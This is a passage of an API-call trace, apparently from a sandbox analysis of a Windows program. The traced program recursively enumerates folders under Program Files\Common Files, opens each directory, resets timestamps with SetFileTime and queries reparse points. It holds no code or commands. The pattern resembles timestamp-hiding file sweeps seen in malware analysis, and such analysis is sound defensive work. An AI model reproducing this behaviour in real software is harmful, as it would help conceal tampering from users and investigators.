Flags=0x0, BaseAddress=0x9227f0) returned 1 [0244.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9227f0 [0244.733] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9228f8 [0244.733] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0244.733] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.733] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.733] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0244.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.733] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.733] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.733] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.733] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0244.734] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.734] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.734] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.734] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0244.734] GetLastError () returned 0x12 [0244.734] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0244.734] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.734] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.734] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.734] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x922a00 [0244.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.734] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f598 [0244.734] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0244.735] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0244.735] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.735] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0244.735] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.735] NtClose (Handle=0x1b0) returned 0x0 [0244.735] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f598) returned 1 [0244.735] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.735] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.735] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f598 [0244.735] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.735] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923520 [0244.735] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0244.735] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.736] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0244.736] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.736] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.736] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.736] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.736] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.736] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923628 [0244.737] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.737] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918b50 [0244.737] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923730 [0244.737] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.737] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0244.737] GetLastError () returned 0x12 [0244.737] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0244.737] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.737] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.737] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0244.737] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0244.737] GetLastError () returned 0x12 [0244.737] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923520) returned 1 [0244.737] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0244.737] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923628) returned 1 [0244.737] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f598) returned 1 [0244.737] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0244.737] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0244.737] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0244.737] GetLastError () returned 0x12 [0244.737] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9228f8) returned 1 [0244.738] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x922a00) returned 1 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9227f0) returned 1 [0244.738] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0244.738] GetLastError () returned 0x12 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9225e0) returned 1 [0244.738] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9226e8) returned 1 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9224d8) returned 1 [0244.738] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0244.738] GetLastError () returned 0x12 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x921668) returned 1 [0244.738] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9223d0) returned 1 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0244.738] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0244.738] GetLastError () returned 0x12 [0244.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0244.738] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.739] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0244.739] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0244.739] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0244.739] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0244.739] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0244.739] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0244.739] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.739] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0244.739] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.739] NtClose (Handle=0x170) returned 0x0 [0244.739] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0244.739] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0244.739] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0244.739] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.739] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0244.740] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.740] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0244.740] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.740] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.740] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.740] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.740] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.740] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918b70 [0244.740] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.740] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.740] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0244.740] GetLastError () returned 0x12 [0244.740] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0244.740] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.740] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.740] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0244.740] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, 